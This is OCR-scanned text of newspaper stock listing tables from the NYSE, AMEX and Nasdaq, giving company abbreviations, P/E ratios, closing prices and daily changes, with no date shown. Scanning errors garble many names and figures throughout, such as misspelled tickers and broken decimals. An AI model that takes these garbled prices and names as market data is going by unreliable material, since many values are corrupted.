20 RetailVent 11.27 +.15 ... Reon 2.97 -.10 9 57 RiteAki 3.96 -.10 25 20 RoblHalf 24.94 -.52 17 18 RockwdAut 51.37 -.16 26 21 RockColl u49.39 -.16 19 16 RoHaas 46.65 -.21 56 17 Rowan 27.50 +.07 19 16 RylCarb 46.11 +1.25 10 ... RoylDut 58.58 -1.24 ... ... Royce 19.07 +.02 10 8 Rylands 68.50 -.05 ... 25 SAPAG 41.25 -.85 16 15 SBCCom 23.38 -.29 18 15 SCANA u42.13 +.33 .. 9 SKTIcm 20.92 +.31 12 18 SLMCp 48.27 -.69 29 ... STMiro 15.57 +.20 13 13 SabreHold 20.07 -.01 ...... SfgdSci d.99 -.15 15 15 Safeway 22.01 -32 66 43 StJoe u78.87 +2.06 35 26 StJudes 40.12 -.23 46 8 StPaulTrav 37.88 -.27 21 26 Sakslf .17.14 -.11 ...... Salesforcn 20.24 +.38 ...... SalEMInc2 13.57 +.07 ...... SalmSBF 12.73 -.04 17 ... SJuanB 36.00 -.29 ... 15 Sanofi 45.00 -.61 13 13 SaraLee d20.29 -.32 .. 51 SchermPI 19.50 -.17 27 23 SchImb 68.37 -.34 57 20 Schwab 11.34 +.01 21 19 SdAtlanta 33.30 -.62 ...... ScottPw 33.77 -.18 27 11 SeagateT u21.22 +.27 10 12 SempraEn 39.67 +.45 13 13 Sensient 20.35 -.25 .. 23 SvceCp 7.58 +.05 12 19 Svcmstr 13.00 -.01 35 18 ShawGp 20.15 +.90 15 13 Sherwin 44.45 -.55 15 15 ShopKo 23.71 +.05 53 77 Shurgard 43.65 +1.35 ... SiderNacs 17.85 +.58 75 21 SierrPac u11,95 +.33 ...... SilcnGph h .81 +.05 47 47 SimonProp 68.72 +.75 24 15 SmithAO 31.36 +.46 29 20 Smihlntl 58.76 -.49 41 17 Solecmn 3.65 +.16 17 16 SouthnCo 33.95 -.19 32 26 SwstAiri 14.55 -.06 16 12 SovrgnBcp 22.32 -.11 34 21 SpiritFnn 11.00 +.09 22 16 SptAuth 32.00 -.37 AEIA N TOKXCANG PE PPE Name Last Chg .. AbdAsPac 6.15 -.02 . Ableauctn .52 +.04 4 .. Abraxas 2.73 +.18 7 ... AdmRsc 16.85 -.01 ... ApexSilv 13.45 +.90 .. ApolIoGg .30 .. BemaGold 2.07 .. BiolechT u168.77 -.52 ..... BichMtgn u2.17 +.08 .. CalypteBn .23 19 Cambiorg 1.90 +.01 ... CanArgo .80 17' 14 CanverBcpdl7.50 -.05 ...... CelsknCp .46 +.04 ...... Chenieres 29.30 -.55 17 15 ComSys 10.10 -.17 14 ... CoreMold u9A0 +1.01 ... .. Cystalxg 3.50 +02 11 10 DHBInds 7.86 +.04 ...... DJIADiam 104.63 -.74 ...... DSLneth .10 -.01 23 ... DanlHd 16.25 -.55 13 20 Darling 3.72 -.07 ...... DesertSgn 137 +.09 30 ... ENGbobal u3.63 +.40 ...... EagleBbnd 22 ...... BdorGldg 2.31 -.10 ...... Bswth 7.40 -.02 ...... eMagin .99 -.02 . .. FrVLDv 14.64 -.01 16 ... RaPUil 17.70 -.20 ...... GeoGlobal u2.77 -23 ...... GlobeTeln 3.68 -.10 ... 26 GoldStro 2.85 -.02 39 12 GreyWolf 6.57 +.02 ...... Harken .45 68 34 Hersha 9.52 -.30 ...... Hybridon .74 +.04 ... 27 IAMGIg 6.45 -.15 ...... INGGRE 15.12 +.04 ...... ISCObn[ 25 .... iShBrail 23.79 -.09 ...... iShGeam 17.67 -.32 ...... IShHK 12.05 +.08 ...... iShJapan 10.12 -.04 ...... iShMalasla 6.75 -.05 . iShMexico 25.87 -22 ...... iShTaiwan 11.85 -.05 ..... iShUK 17.77 -.16 ...... iShSP500 119.34 -.81 ...... iShEmMkt 206.60 -1.80 ... 14 iShSPBaV 61.63 -.17 3 ... InigSys 2.07 -03 ... ... iSh2OTB u95.00 +1.16 ...... IntrNAP .46 .. iShEAFE 154.95 -2.05 ...... IntnHTr 58.38 -24 ...... iShGSSem 53.50 -.11 .. 26 InterOilgn 25.00 -.95 ...... iShNqBio 66.70 -.53 ...... solagen 4.07 +.03 ...... iShRI00V66.21 -.34 28 19 IvaxCps 19.65 +.15 ...... iShRlOOOG48.31 -.25 ...... KFXInc 13.17 +.16 .. iShR2000G62.90 -.20 ...... MCFCorp 1.25 +.01 ...... iShRs2000122.69 -.26 ...... MadCatz 1.62 +.08 .. ShREst 122.95 +.95 7 7 MeboHAtn 2.59 +.14 .. iShHlcre 61.30 -.42 14 18 MissnW 9.50 -.06 .. iShSPSm 159.71 -.70 24 15 Nabors 55.11 +.28 13 9 IMergentn 10.60 -.60 ... 8 NOriong 2.36 -.02 7 35 NthgtMg 1.06 -.02 .. NovaGdkg 7.56 +.09 ... 38 NuiSys u12.26 +.05 ...... OlSvHT 93.20 -.11 26 14 PainCare 4.10 ...... PaxsnC .75 +.03 ...... PetrofdEg 14.60 -.06 ...... PhmHTr 74.40 -.38 47 18 PionDril 13.99 -.01 ...... Prvena .85 -.06 ... 30 ProvETg 9.95 -.08 ...... Qnstakegn .23 +.01 54 34 RaeSyst 2.70 -.20 ...... RegBkHT 135.16 -.81 ...... RetaltHT 93.25 -.42 ...... SemiHTr 34.40 -.13 22 ... SmithWes u3.80 +.15 .. 16 SPDR 119.48 -.77 ...... SPMid 122.55 -.27 .. 14 SPMats 27.83 -.20 .. 19 SPHihC 31.29 -.10 ... 18 SPCnS 23.31 -.08 ... 20 SPConsum32.97 -.12 ... 13 SPEnoy 41.68 -.32 .. 12 SPFnd 29.28 -.05 .. 20 SPTedh 20.18.-.13 ... 16 SPU6 30.03 -.01 .. 14 Stonepath .70 -.02 ......TelHTr 27.00 91 28 TelDatas 38.75 -.95 ...... TelDspln 38.00 +.99 ...... Telkonet 420 +.04 36 ... TransGIb 5.10 -.19 ... 25 UltraPtas 27.21 +.62 ...... UlHTr 105.18 -.09 .. .. WSIIverg 9.52 +.72 36 ... Wsbmlnd 21.48 +.35 ...... Wyndham ,96 +.01 ... 33 Yamanag 3.27 +.19 INASD AQ ATINLMRE PE PPE Name Last Chg ...... Aulhentdte d2.94 -.54 .. 13 Autobytellf 4.86 +.76 38 32 Autodsks u39.58 +1.43 35 24 ACMoore 29.76 +.17 ... Avanex 1.01 -.04 32 19 ADCTelrs 18.16 +.41 ... Avantimm 1.42 -.03 29 30 AFCEntn 25.50 +55 28 20 AvidTch 58.64 -.24 .. 44 ASMIntl 14.84 -.32 .. 21 AvoctCp 28.05 -.09 .. 16 ASMLHid 16.12 -.39 .. Aware u6.60 +.50 17 13 ATITech 15.07 -.10 13 24 Axcelis 6.65 +.10 28 28 ATMIInc 28.04 +.24 .. 20 BE Aero u14.52 +.09 .. ATSMed 3.25 +.13 26 20 BEASys 8.43 -.06 .. Aastrom 2.74 +.11 13 12 BaidLyB 25.70 -.23 .. Abgen 7.20 -.02 ...... BallardPw 3.70 -.23 ... Ablomed 9.37 -.85 27 21 BankMdu 10.84 -.01 ... AbleEnr u19.01 +1.57 29 25 BeasleyB 16.08 -.28 5 .. AbleLabs 4.27 -1.01 42 32 BebeStrss 38.43 -.90 7 6 AccHme 41.97 +.85 25 20 BedBath 40.65 +.23 ... ActvCrd 4.12 -.08 ...... BioenvsnIf 6.52 -.11 .. ActPwr 2.68 +.05 .. 24 Biogenldc 39.10 -.54 24 21 Actvisns 15.80 +.42 BioMarin 6.80 +13 25 21 Acxiom 18.45 -.35 29 20 Biomet 37.68 -.54 .. Adaptec 3.98 -.12 ...... Biomira 1.79 35 29 AdobeSys 33.12 -.05 ...... Biopurers dl.59 -.15 25 20 Adtran 21.97 +.03 21 19 B[osite 54.71 -4.28 13 34 AdvNeuro 35.54 -.45 20 13 BlackBx 34.38 +.41 6 ... Advanta 22.97 +32 63 25 BluCoat 19.43 +1.06 7 12 AdvantB 24.67 -.03 ... BluDolp 2.70 +50 27 18 Aeroflex 8.00 +.13 16 17 BobEvn 23.40 -.09 53 44 Affymet u53.49 -.51 ... 38 BoneCre u32.74 +.04 16 ... AirTInc 19.05 +.62 36 29 Bordand 6.40 -.03 .. ArspanNet 4.77 +.05 2 8 BostnCom 1.39 -.06 43 26 AkamaiT 14,04 +.25 2 ... BroadVis 1.40 +.07 ... Akzo 39.30 -1.59 51 30 Brdoom 35.53 -.46 38 22 AladnKn 23.98 +1.63 ...... Broadwing 4.87 +.29 .. 34 Alamosa 12.34 +.17 13 10 BrcdeCm 3.92 -.05 32 18 Alderwds 13.85 +53 41 24 BrooksAut 15.07 +.01 12 ... Aldilars 23.24 +.23 94 14 BucyrsAn 35.68 +.70 45 58 AlignTech 7.27 +.09 44 ... BusnObj u28.66 -.13 ...... Alkerm 11.60 -.08 .. 19 C-COR 6.88 -.16 .. 44 Alscipts 16.36 -.04 17 14 CBRLGlp 40.72 +.16 ...... AltairNano 2.95 -.11 15 CDCCpA 2.50 +.05 30 28 AlteraCp 22.18 -.08 20 18 CDWCorp 58.18 -.59 .. 25 Alvaon 9.06 -.23 33 27 CHRobn 57.17 -.96 27 47 Amazon 35.51 +01 14 .. CMGI 2.18 +.02 18 15.AmegyBcs 17.81 +.16 ... 33 CNET 10.40 -.58 ..... AmrBiowt .24 22 19 CSGSys 19.02 -.11 .. 11 AmCapStr 35.02 +.31 19 ... CSPInc 9.81 +.82 18 14 AEagleOs 28.30 -.49 ...... CVThera 20.22 -.08 41 30 AmHithwys 39.27 -.81 19 19 CabotMic 31.33 -.06 46 22 AmPharm 43.92 -.90 19 15 CalDive 45.40 -.01 28 24 APwCnv 25.45 +.15 .. 19 CalmsAstn 24.18 +.46 22 17 Ameritradeu14.86 +.47 76 ... Candies 5.31 +.11 32 20 Amaen 62.58 -.27 18 19 CapCtyBk 40.20 +1.23 .. AmkorT 3.56 ... ... ...CpstnTrb 1.00 +.01 .. Amyin d15.98 -.62 ... CardiacSd .97 +.01 .. Anadgc 1.64 +.08 19 14 CareerEd 34.67 -.30 .. 33 Anlogic 42.49 +.33 30 21 Carrizo 15.09 -.10 30 ... Analysts 3.29 +09 19 15 CascadMcn13.50 +.65 9 ... AnIySur 1.61 +.17 .. 23 CasualMal 7.05 +.17 ...... AnchrGls 1.72 +.23 80 58 Celgenes L,42.34 +1.14 60 20 Andrew 13.22 -.07 ...... Ceirrhera d2.97 -.08 20 17 AndrxGp 19.95 -.19 ...... Cellstarlf 1.30 +.01 12 Angiotchg 1282 -.26 25 16 CentBusn 4.01 +.05 76 27 ApolloG 78.43 +.07 14 Cephin 42.42 -.54 44 27 AppleCs 39.76 -.80 20 14 Cearadynes 23.09 +.24 20 17 Applebeess27.27 +18 39 28 Cemer 65.35 -.45 .. 60 ApplDgIrs 3.82 +.05 30 20 ChariRsse 11.95 +.40 ApldInov u4.87 +.06 16 14 ChrmSh 9.03 -.12 19 21 ApldMatl 16.42 -.23 ChartCrm 1.14 -.04 ... 29 AMCC 2.86 +.04 21 17 ChkPoint 22.72 -.05 24 37 aQuantve u15.39 +.65 75 24 ChkFree 37.33 +.10 ArenaPhm 6.85 -.10 15 14 Checkers 14.39 +37 AriadP 6.03 -.12 40 29 Cheesecks 35.31 +.27 23 Arbars 6.15 -.14 31 19 ChikdPlc 46.71 -.52 AirnHId 5.95 +.02 ... 7 ChipMOS 6.17 +.01 .. Arltech 1.06 23 Chiron 37.54 -.71 ... 18 Aris u8.66 +.11 90 25 ChrchllD 43.06 -.47 .. 14 ArtTech 1.08 +.01 ...... CienaCp 2.22 -.14 29 38 Aslalnfo 5.20 +.34 12 13 CinnFin 39.48 -.24 36 20 AskJvs 30.41 -.25 24 20 Cinlas 40.37 -.58 16 15 AspectCm 9.60 +.70 ... 29 Cirrus 5.18 -.03 14 13 AsscdBanc 33.42 +.28 23 19 Cisco 19.40 -.39 .. 15 Atan 2.47 -.17 27 22 CarixSy 25.16 +.01 AthrGnc 14.25 -.51 ... 15 CleanH 20.75 +.37 51 39 Atheros 9.24 +.33 33 28 Cogent n 20.06 -.42 Almel 3.00 -.03 62 42 CogTechs 48.00 +.62 4 24 Audvox 14.63 -.26 26 22 Coghosg 37.76 -.50 61 31 CIdwttrs 22.47 -.53 13 14 ColSprtw 45.15 +.03 ...... Comarco 7.99 -.32 60 43 Comcast 3220 +.17 59 43 Comcsp 31.64 +.27 12 10 CmrdCapB 16.95 15 13 CompsBc 44.60 -.27 13 9 CompCrd 31.53 34 17 Compuwre 6.86 +16 31 26 Comtechs 36.17 +1.37 84 40 Comvers 23.53 -.07 ... 44 CncrdCom 16.92 +02 .. 50 ConcCm 1.85 -.01 ...... Conexant 1.43 +.03 29 16 Conmed 31.34 -.31 45 20 Connetics 22.27 -.39 25 21 Copart 24.79 -.74 19 15 CodnthC 15.48 -24 ...... CodixaCp 425 -.09 19 16 CostPlus 23.30 +.06 22 20 Costco 45.38 +.08 ...... Covista d.88 -.52 ... ... CrayincIf 1.46 -.02 .. 47 CredSys 7.90 -.08 25 24 CreeInc 29.99 +.35 ...... CubistPh 10.01 -.32 27 21 CumMed 12.49 +.10 26 30 Cymer 28.41 +.16 ...... CytRx .85 -.08 ...... Cylogenrs 5.42 +.06 30 22 Cylyc 23.41 -.11 ...... DOVPh 15.10 +.27 ... DRDGOLD 1.13 +.01 36 26 DadeBeh 66.85 -.36 .. Danka 1.27 11 9 DeckOut 24.22 +.42 . ... decdGenet 7.70 +.44 31 23 Dellinc 39.93 -.38 33 14 DtaPIr 11.42 +19 ..... Dndreon 5.29 +.01 .. 27 Dennysn 3.97 +.04 22 21 Dentspl 57.05 +.98 77 ... DialCpA 20.10 +1.65 13 25 DiamClust 13.08 +.05 22 14 DAtGen 1.08 -.02 ... .. DigLght .49 +.01 ...... DigtRec 2.19 +.07 25 14 DIgRier 27.52 +1.04 28 21 Digitas 11.07 +.19 ...... DiscvLabs 7.05 -.09 ..... DistEnSy 3.32 +.12 4 10 DItechCo d7.22 -.57 ..... DobsonCm 2.13 +.05 16 14 DlrTree 24.80 +.20 16 17 DotHill 5.31 -.17 41 44 DbleCIck 8.23 +.03 ...... DyaxCp 4.65 -.24 ... DynMatl u43.80 +3.52 48 13 E-loan 2.86 -.12 62 43 eBays 38.00 -.30 47 18 ECITel 8.85 -.17 18 15 EGLInc 19.03 -.11 25 27 eResrch 12.24 -.15 .. ESSTech 4.12 +.16 17 88 EZEM 14.72 11 12 ErthUnk 10.58 +.02 24 14 EchoStar 29.22 +17 25 21 EducMgt 3237 +57 17 .. EduDv 10.10 -.31 ..... 8x8 Inc 1.93 +.09 14 18 ElectSd 17.94 -.18 ... ... EEctrgls 3.49 -.01 33 31 ElectArts 52.54 +49 ... ... EltekLtd 2.04 +.10 ...... Emcore 3.97 -.02 ... ... eMrgelnt .50 ... 25 EmmisC 17.76 ...... 'EncysNeP 10.25 -.07 23 16 EndoPhrm 20.30 -.15 ... ... EndWve u36.05 +1.52 12 ... EngyConv 19.28 -.51 20 17 EngSups 39.00 +.61 27 21 Entegris 9.70 +.14 28 .. Enterrags 19.15 -.90 ... 33 Entrust 4.09 -.09 ... 27 EnzonPhar d6.06 -.14 24 20 EonLabs 30.59 ...... Epiphany 3.49 +.04 .. ... EricsnT 31.43 -.16 29 40 eSpeed 8.57 +.46 .. 34 EssexCp 18.70 +.88 49 28 Euronet 28.04 -.11 ... ... EvrgrSIr 5.05 -.20 ...... ExideTc 5.08 +.28 35 27 Expdlnt 50.98 -1.20 24 19 ExpScript 92.39 -.45 38 27 ExtNetw 4.57 -.16 ...... Evetech dl2.81 -.69 42 34 F5Netw 5121 -.56 28 21 FLIRSyss 26.81 +.53 31 25 Fastenal 58.12 +.85 16 13 FifthThird 42.67 -.56 34 30 RleNet 27.86 -.22 10 20 FndWhal 5.32 -.20 ... ... Finisar 1.19 18 12 FinUnes 19.92 -.61 29 16 FrstHrzn 18.81 +.04 18 15 FstMerit 25.50 -.16 20 18 Fserv 42.99 +.26 22 14 lextm 12.78 +.03 .. 30 FlowInt 6.50 +.12 ... ... FLYi .76 -.01 59 ... Fonar 1.17 -.03 24 19 ForwrdA s 26.70 +.83 31 ... Forward 20.92 -.46 34 26 Foundry 9.24 +.07 .. FoxHdin 37.90 +.77 21 15 Fredslnc 14.83 +.15 ... ... FmtrAir 12.21 +.12 ... ... FuelCell 8.15 +.05 ... ... Ftrm dia .39 ...... GTC Bb 1.35 +08 ...... Gemstar 3.40 +.07 42 29 GenProbe 38.86 -2.15 ... ... Genaera 2.01 +.03 ...... GeneLTc .42 +.04 21 17 GenesisH 43.52 +.04 ... 31 GenesMcr 16.55 +.58 ... ... Genta 1.11 -.10 29 22 Genlexs 17.88 -.62 ... 26 Genzyme 62.39 -.26 31 ... Geores ulO.94 +.47 ...... GeronCp 8.00 +.41 38 27 GileadSds 40.80 -.21 20 ... Glenayre 3.20 +.13 25 17 Globlnd 8.54 -.17 ... ... Glowpolnt 1.33 -.15 13 11 GolarLNG 11.83 -.33 ... 9 GoldKistn u20.81 +.80 ... 48 Goolen u277.27+11.27 ... 38 GrpoFin 8.75 +.31 12 11 HMNFn 30.10 -.17 33 22 Hansen u74.54 +3.44 19 17 HarbrFL 35.57 -.29 78 15 Harmonk 6.23 -.24 ...... HayesLm 6.50 +.20 33 26 HlhCSvs u18.70 -.16 ... 19 HIthTroncs 12.69 -.03 23 20 HrtindEs 20.05 -.27 10 8 HelenTr 22.93 -.42 27 20 HScheins 40.45 +45 42 36 Hologic 36.81 -.99 26 19 HouTopc 21.47 -.01 26 23 HudsnCdty 34.45 -.07 ... HumGen 11.28 -.20 17 14 HuntJBs 20.08 -.72 14 13 HunlBnk 23.32 -.39 17 16 HutchT u41.37 +12 30 21 HyperSolu 44.14 +.23 .. 21 IACInterac 24.50 -.05 ... ... ICOS 21.60 -.90 .. IPIXCp 2.67 -.05 ... ... IbisTech 1.26 -.04 ... ... coria 24 -.02 ... ... Identix 5.49 -.11 ... ... Illumina 10.50 +.05 31 22 ImaxCp 9.56 +.52 36 23 Imdone 33.14 -1.34 ... ... Imunmd d1.80 -.13 96 15 ImpaxLab lf 16.40 +.18 11 ... lmperlndnul4.08 +1.34 ... 15 InPhoncn 14.77 +.93 i.. ncyle 7.63 -.02 ...... IndevusPh 3.43 -.22 9 16 InfoSpce 33.92 +.82 ... InFocus 4.16 -.01 .. 24 Informat 8.57 -.12 48 35 Infosyss 72.34 +1.84 21 17 InnovSol 34.64 -1.76 ... 11 Innovo 5.86 +.48 35 25 Insfinet 5.27 +.03 25 24 IntegCirc 21.19 +.15 .. 24 IntgDv 12.23 -.26 .. ISSI 6.54 -.16 20 18 Intel 26.96 -.43 .. Intellisync 2.67 +.08 25 18 InterTel 20.53 +.38 .. 56 InterDkg 18.46 +.36 10 26 Intgph u31.38 +.52 17 18 InUSpdw 54.66 +.10 .. ... InrntlnltJ u7.36 +1.59 37 24 IntntSec 22.20 +.07 85 27 Intersil 18.76 +.17 15 12 Intervome 8.92 +.17 .. 34 IntraLasen 19.39 +.19 23 19 Intuit 43.27 55 54 IntSurg 49.50 -.14 20 15 InvFnSv 41.49 +.35 35 21 Invitrogn 79.34 -.60 .. lonatonn 8.90 +.26 .. 46 IRISInt u19.11 +1.96 .. Isis 3.66 +.10 .. Isonics 3.10 -.02 25 tron u41.11 +.22 n.. anhoeEn 2.23 +.07 35 Village 6.03 +.02 48 29 bia 18.39 -.15 25 18 j2G0ob 35.08 -.11 . .. JDSUniph 1.53 -.08 .. 33 Jamdatn 28.21 +1.47 .. 40 Jamesnin 2.16 -.09 62 64 JetBlue 21.73 -.02 40 18 JyGbs 37.54 +.89 6 33 JnprNtw 25.65 -.14 31 21 Jupitmned 18.25 -.04 20 22 KLATnc 45.41 -.16 24 17 KNBTBc 14.91 -.08 24 20 Kanbayn 20.76 +1.40 13 22 KnghtCap d7.55 -.05 17 10 Komag u28.85 +.90 59 ... KongZhgn 8.90 +.89 16 20 KosPhr 57.64 +.20 29 25 Kronos 45.16 +.66 53 25 Kulcke 5.81 -.02 32 31 LCAViss 44.18 +62 24 19 LKQCp 24.82 -.08 23 16 LSIInds 13.59 -.33 . LTX 4.79 +.01 ... LaJollPh .80 +.40 15 16 LamRsch 30.65 +.90 66 LamarAdv 41.79 +78 45 35 Lasrscp 34.30 -.46 Lattice 4.28 -.05 20 ... Leadisn 6.86 +.20 ... Level3 2.08 -.15 ...... LexarMd 5.02 -.04 .. 60 LUbMIntAn 41.91 -.68 51 37 Ijfecell 13.26 -.25 20 17 UfePtH 44.98 +.39 17 20 Uncare 43.96 -.43 28 26 UnearTch 37.50 -.21 36 16 Lionbrdg 4.98 +.19 .. LodgEnt 16.96 -.03 LookSmart .75 +.09 ... Loudeye .90 -.02 9 ... Lowranc d20.75 -2.40 ... ... MCIIncn 25.62 -.01 ... 23 MGIPhrs 23.21 -.51 29 24 MIPSTech 8.63 -.22 ...... MRVCm 1.85 -.03 21 16 MTRGam 10.26 -.37 21 19 MTS 31.91 +.12 80 39 Macrmdia 44.22 -.04 21 ... Mannlch 16.10 +.49 ... .Manuglst 1.79 +.03 ... 67 MarchxB 14.92 -.81 23 35 Martek 37,44 -.78 66 33 Marvelns 41.00 +.55 12 18 Mattson 7.82 +.49 8 7 MaxReCp 22.11 +.46 25 23 Maxim 39.40 -.46 ...... MaxwlrT 10.28 -.09 ...... McLeoA .12 ... 17 McDataA '3.76 -.08 ... 62 Medlmun 26.40 +.03 ...... Medarex 7.57 -.29 18 14 MedAct 17.73 -.25 71 30 MediCo 21.94 -.24 ... .MedisTech 13.77 +.86 ... 16 MentGr 10.28 +.27 18 15 MercBksh 52.13 +.70 47 26 Merclntr 45.12 -.26 6 6 MesaAir 6.37 -.23 5 7 MetalMg 18.37 +.50 4 7 MetalsUSA 21.17 +.01 ... 8 Methanx 18.59 +.63 32 29 Micrel 11.59 +.22 27 24 Microchp 29.65 -.03 57 22 Mcromse 6.24 -.04 37 28 Micross u44.98 +.21 86 24 MicroSemiu20.63 +.56 25 18 Mirosoft 25.80 -.27 19 ... Mkirolune 4.42 +.29 ... ... MillCell 1.51 -.06 ... .. MillPhar 8.38 -.16 .. Mindspeed 1.43 +.09 34 14 MIsonK 5.76 -.12 .,. 53 MobltyElec 8.81 +.04 18 19 MolecDev 19.32 +.22 19 ... MonRE 7.69 -.50 39 26 MnstrWw 26.38 -.60 20 10 MovieGal 31.96 +.12 11 18 MultimGm 10.67 +.16 ...... MyrinadGn 16.46 -.39 24 18 NETgear u19.67 +.75 63 31 NICInc 4.39 +.03 32 21 NIIHkdg 59.60 +1.19 .. 38 NMSCm 3.25 -.08 ... NPSPhm 11.56 -.52 18 ... NTLInc 64.28 +.39 54 50 NVECorp 19.97 +.17 ... Nanogen 4.08 +.12 ... Napster 4.24 +.02 .. 27 NasdlOOTr 38.08 -.13 31 Nasdaqn 17.16 -.02 .. Nastech 12.21 +.16 ... NatAtHn 11.38 +.29 11 14 Navarre 9.00 +.10 70 25 NeighCar 30.01 -.21 .. NektarTh 18.29 +.09 . .. NoMgic .37 .. Nel2Phn 1.60 -.04 .. 85 NetIlQ 11.04 -.05 55 64 Netflix 14.29 -.26 .. NetRatn 13.62 -.63 49 35 NetwkAp 28.76 -.18 ...... Neurcrine 37.68 -.88 13 14 NewFmt 6.00 -.02 12 16 NexteIC 30.17 +.40 61 27 NextPd 23.75 -.02 ... NilroMed 19.14 +.54 22 18 NobltyH u25.09 +1.08 17 14 Nordson d31.06 -.44 .. 18 NoWestCpnu2898 +551 20 17 NorTrst 46.03 -.48 ... NwstAId 6.09 +.50 17 Novatel 24.83 +.65 24 22 NviWrs 12.47 -.56 6 42 Novell 5.86 +.02 23 25 Novlus 26.69 +.77 35 24 NuHorz 5.88 -.08 NuanceC 4.71 +.09 33 18 Nvidia 27.10 -.42 27 20 OReillyA 55.56 +10 ... ... OSIPhrm d37.20 -1.69 14 16 OdysseyHlt 13.26 +.03 11 10 OhioCas 23.90 -.03 ...... OmniEnr 1.63 +.08 12 11 OmnWisn 15.82 -.07 ...... OnAssign 5.30 +.15 ... 16 OnSmcnd 4.47 +.09 29 23 OnlineRes 9.74 -.41 ...... OnyxPh 24.99 -.56 ... 23 OpnwvSy 15.55 +.16 ... Op1inkC 1.49 +.08 ...... Opsware 4.96 -.12 22 18 OpionCrs 13.30 -.01 23 15 Orade 12.80 -.05 20 17 Orthfx 45.84 +.20 16 15 OtterTail 25.46 +.54 18 15 Ovembte 42.62 -.09 ...... Overstk 38.29 -.66 21 17 PETCOIf 30.09 -.06 .. 47 PLXTch 7.62 -.07 44 35 PMCSra 8.77 +.19 20 17 PSSWrid 11.74 -.29 ... PWEagle 6.58 +.38 12 10 Paccar 70.75 -1.34 15 12 PacSunwr 21.00 -.11 62 22 PacificNet 8.08 +.38 30 19 Packetr 11.87 +51 ... 59 PalmSrce 10.03 +.10 45 16 palmOne 28.42 -.03 ... PanASl, 14.29 +.51 46 36 PaneraBrdu63.20 +.68 17 18 ParmTc 6.02 -.03 26 13 Padux 24.98 +1.08 34 28 Pattersons 45.42 -.32 30 13 PaltUTIs 26.45 +.60 34 25 Paychex d28.88 -.70 40 18 PnnNGms 32.54 +1.59 .. Peregrine 1.16 +.04 .. 15 Perdgo 15.54 -.30 11 11 PetDv 26.13 -.17 15 10 PtroqstE 5.62 -.10 26 23 PetsMart 31.75 -.04 .. 27 Pharmion 20.33 -.15 27 ... Phazar 26.60 +1.50 27 19 Phofrln 23.03 -.59 .. PinnSyst 5.91 -.02 32 47 Pixars 52.67 +.13 . .. .PlugPower 6.22 -.09 36 20 Polycom 17.11 +.07 28 17 Polymed 35.10 +40 ... ... PorlSft If 1.97 -.08 16 PordlPlayn 20.33 +.49 38 32 PowrIntg 23.82 +.07 ..... Power-One 5.49 +.13 .. 20 Powrwav 9.11 +.15 ... PraedsP .66 .. 19 Prestek 8.54 -.04 23 19 PriceTR 59.66 +.30 32 18 priceline 23.95 -.24 ... PimusT .90 +.02 ...... ProgPh 20.00 31 22 PgSoft 29.17 -.14 . ProtDsg 19.10 -.29 . ProximArs .32 +.02 13 OLT 10.37 -.04 7 QlaoXIng 6.88 +.45 19 18 Qlogic 32.02 -.97 33 28 Qualcoms 37.27 +.11 80 QuanFuel 4.25 -.03 23 20 QuestSftw 13.15 +.17 57 RFMcOD 4.65 -.08 24 21 RSASec 12.30 -.02 .. 18 RadThrSvn20.70 -1.37 21 ROneD 12.60 +.03 55 45 Rambus 15.34 +.03 24 19 Ravenlnds 25.48 +.87 ... 83 RealNwk 5.11 +03 53 39 RedHat 12.64 -.36 ...... Redback 5.70 +02 52 46 RegnTch 6.73 -.44 .. ... Remecn u6.25 +.09 .. Renovis 13.20 -3.90 12 10 RentACt 23.66 -.08 15 13 RepBcp 13.87 -.13 76 30 RschMots 82.82 +2.45 20 18 ResConns 19.92 -.16 ... 28 RestHrd 7,08 -.12 25 17 RossSirs 28.19 -.22 . ... Ryanair 45.69 +1.35 ...... SAFLINK 2.16 +.09 ...... SBACom 11.24 +.02 30 23 SCPPools 35.83 -.03 22 18 SEIInv 34.76 +.29 24 18 SVBFin 47.76 +.07 13 10 Safeco u53.82 -.25 97 23 SalxPhs 17.51 -21 18 16 SanDisk 25.97 -.12 ... 14 Sanmina 5.10 +07 40 26 Sapient 8.40 +.10 ..... SavientPh 3.36 -.01 ...... Sawis .68 -.11 .. 16 ScanSoft 4.06 +.12 5 5 Schnitzer 23.13 -.24 ... SdCione 2.49 -.05 33 19 SdGames 23.83 -.18 38 26 SeaChng 7.90 +.13 13 20 SearsHIdgs146.51 -2.69 29 21 SecureCmpll.22 +.69 98 33 SeeBeyond 2.95 -.10 12 12 Secln 48.13 +.22 24 26 Semtech 18.24 -.09 ... Sepracor 60.76 -1.09 38 14 SerenaSft 19.57 +.15 39 20 Serolog 21.55 -.37 .. 22 Shanda 36.85 -1.09 .. 15 ShirePh 32.00 +.13 22 29 SiRFTch 14.16 +.17 71 45 SiebelSys 9.22 -.07 .. 54 SigmDg 7.87 -.10 17 16 SgmAl 59.89 -.35 12' 9 SigmaTel 22.64 +.43 42 19 Silcnlmglf 11.74 -.24 19 22 SilcnLab 27.73 -.26 ..... SST 3.44 -.11 .. SilvStdg 12.01 +.41 26 25 Sina 27.83 -.19 SiriusS 6.01 +.04 13 10 SkyWest 18.24 +05 22 17 SkywksSol 6.33 -.03 24 13 SmibhMicr 4.32 -.19 .. 21 SmurfStne 10.87 -.34 24 20 Sohu.cm 18.72 +.18 .. 32 SncWall 6.18 +04 56 57 Sonusn 4.45 +.11 23 ... SouMoBc 14.36 ... SpaflaLt 6.07 +.32 .. 55 Stamps.cm 22.36 +.56 22 18 Stapless 21.56 -.14 ... StarSden 5.80 +.15 51 40 Starbucks 54.79 -.84 .. 32 STATSChp 7.23 +.15 5 5 StDyna 26.89 -.59 StemCells 4.15 +.30 28 22 Stricyde 49.65 +45 30 11 StewEnt 5.92 -.04 S... SthMb 1.78 +.19 26 19 SunHydr u36.92 +1.97 19 60 SunMicro 3.81 -.06 .. 13 SunOpta 4.86 +.10 ... SupTech .78 +.12 .. SuperGen 5.03 -.03 15 13 SusqBnc 22.76 -.10 16 15 SwiftTm 24.55 -.35 85 ... Sycamre 3.38 +.02 30 20 Symantecs 22.51 +.26 36 24 Symetric 11.28 -.04 19 17 Synaptics 19.23 -.46 25 22 Syneron n 33.72 +2.36 33 Synopsys 18.07 -.06 Synovis 7.65 -.35 ...... SyntroCp 8.67 +18 14 18 TLCVision 8.66 +04 13 12 TTMTch 7.94 -.22 20 17 TakeTwos 25.76 -.13 ... .. Tarrant 2.72 +.24 41 44 TASERs 11.34 +37 13 13 TechData 35.90 -.71 32 27 Techne 46.60 -.47 .. Tegal 1.06 +.02 25 18 Tekelec 13.60 +.13 15 Telesys 15.33 -.07 24 22 TeleTech 8.16 +.22 43 TelwesIGlnu20.91 +.30 